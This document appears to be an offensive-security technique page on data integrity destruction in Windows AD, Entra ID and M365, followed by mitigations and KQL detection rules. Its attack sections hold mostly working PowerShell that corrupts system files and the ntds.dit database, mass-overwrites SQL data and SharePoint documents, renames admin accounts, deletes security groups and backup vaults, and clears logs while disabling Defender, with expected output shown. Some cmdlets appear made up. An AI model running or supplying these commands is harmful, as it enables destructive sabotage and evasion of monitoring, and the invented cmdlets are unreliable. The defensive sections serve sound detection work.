| Attribute | Details |
|---|---|
| Technique ID | IMPACT-INTEGRITY-001 |
| MITRE ATT&CK v18.1 | T1491 - Defacement |
| Tactic | Impact |
| Platforms | Multi-Environment (Windows AD, Entra ID, M365, Hybrid) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Windows Server versions (2016-2025), All Entra ID versions, All M365 tenants |
| Patched In | N/A (Architectural issue, not a software vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Data integrity compromise involves unauthorized modification, deletion, or corruption of critical organizational data across multiple platforms (file systems, registries, databases, cloud storage, and directory services). This can occur through direct file manipulation, SQL injection, registry tampering, or cloud API abuse. The attacker’s goal is to degrade system reliability, cause business disruption, erode user trust, or support secondary attacks like privilege escalation or persistence.
Attack Surface: This technique can affect multiple attack surfaces simultaneously:
Business Impact: Widespread system instability, compliance violations, and operational disruption. Data integrity breaches lead to loss of system availability (corrupted OS can prevent boot), failed backups (if backup is corrupted), regulatory fines (GDPR, HIPAA, PCI-DSS), customer notification requirements, and reputational damage.
Technical Context: Data integrity compromise can take seconds to minutes depending on the method (file deletion is instant; database corruption requires time to propagate). Detection likelihood is moderate-to-high if monitoring is enabled, but attackers often disable logging or clear event logs immediately after execution. Common indicators include unusual file modification timestamps, checksum mismatches, and sudden log deletion events.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1 | Ensure proper file permissions are configured and monitored |
| DISA STIG | GEN000610 | System must protect the integrity of information |
| CISA SCuBA | SI-4 | Implement continuous monitoring and detecting unauthorized changes |
| NIST 800-53 | SI-7 | Information System Monitoring - File Integrity Monitoring (FIM) |
| GDPR | Art. 32 | Security of Processing - Integrity and confidentiality safeguards |
| DORA | Art. 9 | Protection and Prevention - Incident response and recovery |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Backup and recovery capabilities |
| ISO 27001 | A.12.4.4 | Event logging and monitoring for data integrity |
| ISO 27005 | Risk Scenario | Unauthorized Modification of Data - High Impact / High Likelihood |
Supported Versions:
Tools:
# Enumerate writable NTFS locations
Get-ChildItem -Path "C:\", "D:\" -Attributes Directory | Where-Object { Test-Path $_.FullName -PathType Container } | ForEach-Object {
try {
$acl = Get-Acl -Path $_.FullName -ErrorAction Stop
if ($acl.Access | Where-Object { $_.AccessControlType -eq 'Allow' -and $_.IdentityReference -like '*DOMAIN*' }) {
Write-Host "Writable Path: $($_.FullName)"
}
} catch { }
}
# Locate critical Active Directory files
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "DSA Working Directory"
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "Database log files path"
# Find backup locations
Get-WmiObject Win32_Volume | Where-Object { $_.FileSystem -eq "NTFS" } | Select-Object Name, FreeSpace, Capacity
What to Look For:
# Check current user permissions in Entra ID
Connect-MgGraph -Scopes "Directory.Read.All"
Get-MgUser -Top 1 | Get-MgUserOwnedObject
# Enumerate SharePoint/OneDrive locations
Connect-PnPOnline -Url "https://tenant.sharepoint.com/sites/admin"
Get-PnPTerm -TermGroup "Term Store"
# List Azure storage accounts
Connect-AzAccount
Get-AzStorageAccount | Select-Object StorageAccountName, ResourceGroupName
What to Look For:
Supported Versions: Server 2016-2025
Objective: Overwrite system binaries and configuration files to cause system instability
Command:
# Corrupt critical system files (DANGEROUS - causes system crash)
$criticalFiles = @(
"C:\Windows\System32\drivers\etc\hosts",
"C:\Windows\System32\config\SYSTEM",
"C:\Program Files\*\config\*.xml"
)
foreach ($file in $criticalFiles) {
if (Test-Path $file) {
# Create backup for analysis (optional)
Copy-Item $file "$file.bak"
# Overwrite with random data
Add-Content -Path $file -Value (Get-Random -Minimum 0 -Maximum 255) -Encoding Byte
Write-Host "Corrupted: $file"
}
}
Expected Output:
Corrupted: C:\Windows\System32\drivers\etc\hosts
Corrupted: C:\Windows\System32\config\SYSTEM
What This Means:
OpSec & Evasion:
wevtutil cl securitySet-MpPreference -DisableRealtimeMonitoring $trueRemove-Item C:\Windows\System32\winevt\Logs\*.evtx -ForceTroubleshooting:
runas /adminReferences & Proofs:
Objective: Render entire domain non-functional by corrupting the AD database
Requirement: Must be executed on Domain Controller with DC recovery tools available
Command (Requires Offline DC or Directory Services Restore Mode):
# This MUST be done in DSRM (Directory Services Restore Mode)
# Boot DC into DSRM using: F8 during boot, select "Directory Services Restore Mode"
# Once in DSRM, open Command Prompt as SYSTEM
C:\> ntdsutil
ntdsutil: files
file maintenance: info
# Note the database location (typically C:\Windows\NTDS\ntds.dit)
# Corrupt the database
file maintenance: q
ntdsutil: q
# Directly corrupt the file (extreme - causes total domain outage)
cmd /c "echo corrupted > C:\Windows\NTDS\ntds.dit"
Expected Output:
All domain controllers will cease functioning
Users cannot authenticate to domain
Trust relationships are broken
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Corrupt databases and application configuration to cause service failures
Command:
# For SQL Server - corrupt a table
$sqlServer = "localhost"
$database = "Production"
$table = "Customers"
$sqlConn = New-Object System.Data.SqlClient.SqlConnection
$sqlConn.ConnectionString = "Server=$sqlServer;Database=$database;Integrated Security=true;"
$sqlConn.Open()
# Corrupt data
$sqlCmd = $sqlConn.CreateCommand()
$sqlCmd.CommandText = "UPDATE $table SET Email = 'CORRUPTED' WHERE ID > 0"
$sqlCmd.ExecuteNonQuery() | Out-Null
$sqlConn.Close()
Write-Host "Database corrupted successfully"
# Corrupt application config files
$configFiles = Get-ChildItem -Path "C:\Program Files" -Filter "*.config" -Recurse
foreach ($config in $configFiles) {
Add-Content -Path $config.FullName -Value "`n<!-- CORRUPTED BY ATTACKER -->`n"
}
Expected Output:
Database corrupted successfully
Application services fail to start
Supported Versions: All Entra ID versions
Objective: Overwrite critical business documents to disrupt operations
Requirement: OAuth token with Files.ReadWrite.All scope or stolen Global Admin credentials
Command (PowerShell with Microsoft Graph):
# Connect with compromised credentials
Connect-MgGraph -ClientId "YOUR_APP_ID" -TenantId "TENANT_ID" -UseDeviceCode
# List all SharePoint sites
$sites = Get-MgSite -All
foreach ($site in $sites) {
Write-Host "Site: $($site.DisplayName) - $($site.WebUrl)"
}
# Access a specific site and corrupt files
$site = Get-MgSite -Filter "displayName eq 'Finance Department'"
$driveItems = Get-MgSiteDrive -SiteId $site.Id | Get-MgDriveItem -All
# Corrupt high-value documents
foreach ($item in $driveItems) {
if ($item.Name -like "*.xlsx" -or $item.Name -like "*.docx") {
# Update content with garbage data
$content = [System.Text.Encoding]::UTF8.GetBytes("CORRUPTED-DATA-$([guid]::NewGuid())")
Update-MgDriveItemContent -DriveId $site.Drive.Id -DriveItemId $item.Id -BodyParameter $content
Write-Host "Corrupted: $($item.Name)"
}
}
Expected Output:
Site: Finance Department - https://tenant.sharepoint.com/sites/finance
Corrupted: Budget_2025.xlsx
Corrupted: Project_Proposal.docx
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Modify critical Entra ID configuration to disrupt authentication
Command:
# Corrupt user account information
Connect-MgGraph -Scopes "User.ReadWrite.All"
# Find privileged users
$adminUsers = Get-MgUser -All | Where-Object { $_.JobTitle -like "*admin*" -or $_.Department -like "*security*" }
foreach ($user in $adminUsers) {
# Modify critical attributes
Update-MgUser -UserId $user.Id -MailNickname "CORRUPTED_$([guid]::NewGuid().ToString().Substring(0,8))"
Update-MgUser -UserId $user.Id -UserPrincipalName "CORRUPTED_$(Get-Date -Format 'yyyyMMdd_HHmmss')@$($user.UserPrincipalName.Split('@')[1])"
Write-Host "Corrupted: $($user.DisplayName)"
}
# Delete/modify security groups
$securityGroups = Get-MgGroup -Filter "startswith(displayName,'Security')" -All
foreach ($group in $securityGroups) {
Remove-MgGroup -GroupId $group.Id -Confirm:$false
Write-Host "Deleted: $($group.DisplayName)"
}
Expected Output:
Corrupted: John Admin
Corrupted: Security Officer
Deleted: Security-Incident-Response
What This Means:
# STAGE 1: Compromise Global Admin in Cloud
# (Assumes previous initial access)
$token = Get-OfflineToken # From prior compromise
# STAGE 2: Extract on-premises sync creds via Azure AD Connect
$syncAccount = Get-ADServiceAccount -Filter 'Name -like "sync"' # On-prem side
Get-ADServiceAccountPassword -Identity $syncAccount
# STAGE 3: Use sync credentials to corrupt both AD and Entra ID
# Modify AD database to break synchronization
# Entra ID objects become orphaned and unusable
# STAGE 4: Corrupt backups via Azure Backup
Connect-MgGraph
$backupVaults = Get-MgBackupVault
foreach ($vault in $backupVaults) {
Remove-MgBackupVault -BackupVaultId $vault.Id -Confirm:$false
}
# STAGE 5: Clear all audit logs
Get-MgAuditLog | Remove-MgAuditLog -Confirm:$false
C:\Windows\System32\config\SYSTEM - Registry hive corruptionC:\Windows\NTDS\ntds.dit - Active Directory databaseC:\Windows\System32\drivers\etc\hosts - Host file corruptionC:\Program Files\*\config\HKLM\SYSTEM\CurrentControlSet\Services\* - Service configuration corruptionHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - Startup itemsHKCU\Software\Microsoft\* - User application preferences1. Implement File Integrity Monitoring (FIM)
Manual Steps (Server 2016-2019):
gpupdate /forceManual Steps (Server 2022+):
auditpol /set /subcategory:"File System" /success:enable /failure:enable
PowerShell (All Versions):
# Enable File System Audit for specific folder
$acl = Get-Acl -Path "C:\CriticalData"
$ace = New-Object System.Security.AccessControl.FileSystemAuditRule(
[System.Security.Principal.NTAccount]"EVERYONE",
[System.Security.AccessControl.FileSystemRights]"FullControl",
[System.Security.AccessControl.InheritanceFlags]"ContainerInherit,ObjectInherit",
[System.Security.AccessControl.PropagationFlags]"None",
[System.Security.AccessControl.AuditFlags]"Success,Failure"
)
$acl.AddAuditRule($ace)
Set-Acl -Path "C:\CriticalData" -AclObject $acl
2. Enable Active Directory Database Protection
Manual Steps (All Versions):
dsquery * cn=tombstone,cn=config,dc=contoso,dc=com -scope base -attr *
3. Enforce Backup Integrity Checks
Manual Steps (All Versions):
1. Conditional Access Policy for Data Modification
Manual Steps (Azure Portal):
Block High-Risk Data Modifications2. Enable Versioning and Recycle Bin
Manual Steps (SharePoint Online):
3. RBAC and Least Privilege
PowerShell - Remove Dangerous Permissions:
# Remove Global Admin role from all users except emergency accounts
$globalAdmins = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Get-MgDirectoryRoleMember
foreach ($admin in $globalAdmins) {
# Audit first - do not remove without verification
Write-Host "Global Admin: $($admin.DisplayName)"
}
# Instead, delegate specific roles:
# - Application Administrator (for app management)
# - SharePoint Administrator (for site management)
# - Teams Administrator (for Teams management)
1. Enable Immutable Backups (Azure Backup)
Manual Steps:
2. Configure Change Tracking in Entra ID
PowerShell:
# Enable audit logging for directory changes
Connect-MgGraph -Scopes "AuditLog.Read.All"
# Query recent directory changes
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Update user'" -Top 100 | ForEach-Object {
Write-Host "Changed User: $($_.TargetResources[0].DisplayName) at $($_.ActivityDateTime)"
}
# Set up alerts for suspicious changes
# (Requires Azure Monitor integration - covered in Detection section)
Files Modified:
C:\Windows\System32\ modified outside of patchesRegistry Keys:
HKLM\SYSTEM\CurrentControlSet\Services\HKCU\Software\Microsoft\Windows\CurrentVersion\RunNetwork Indicators:
Disk:
C:\Windows\System32\winevt\Logs\Security.evtx - Will contain Event ID 4663 (file access), 4657 (registry modification)C:\$Recycle.Bin - Deleted file fragmentsvssadmin list shadowsMemory:
Cloud:
MFT/Filesystem:
Rule Configuration:
KQL Query:
CloudAppEvents
| where Application in ("SharePoint Online", "OneDrive for Business")
| where Operation in ("FileModified", "FileDeleted", "FolderModified")
| where TimeGenerated > ago(5m)
| summarize ModificationCount = count(), UniqueFiles = dcount(ObjectId) by UserPrincipalName, Application
| where ModificationCount > 50 or UniqueFiles > 10
| project TimeGenerated, UserPrincipalName, Application, ModificationCount, UniqueFiles
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious OneDrive Bulk File ModificationsRule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Update user", "Delete user", "Update group", "Delete group")
| where Result in ("success", "Success")
| summarize Actions = count() by InitiatedBy.user, TimeGenerated = bin(TimeGenerated, 1m)
| where Actions > 5
| project TimeGenerated, Admin = InitiatedBy.user, BulkActions = Actions
What This Detects:
Event ID: 4663 (File Access Audit)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesEvent ID: 4657 (Registry Value Modified)
Configuration:
auditpol /set /subcategory:"Registry" /success:enable /failure:enableEvent ID: 4720 (User Account Created)
Manual Configuration Steps (Enable Defender for Cloud):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial credentials via OAuth phishing |
| 2 | Privilege Escalation | [PRIV-ESC-001] Token Theft | Attacker steals Global Admin token from compromised user |
| 3 | Persistence | [PERSIST-001] Golden SAML | Attacker establishes persistent cloud access |
| 4 | Discovery | [REC-CLOUD-001] BloodHound Enumeration | Attacker maps data locations and permissions |
| 5 | Current Step | [IMPACT-INTEGRITY-001] | Attacker corrupts critical data to disrupt operations |
| 6 | Impact | [IMPACT-DENIAL-001] Service Disruption | Business systems become unavailable due to corrupted data |
Data Recovery Best Practices:
Prevention Strategy: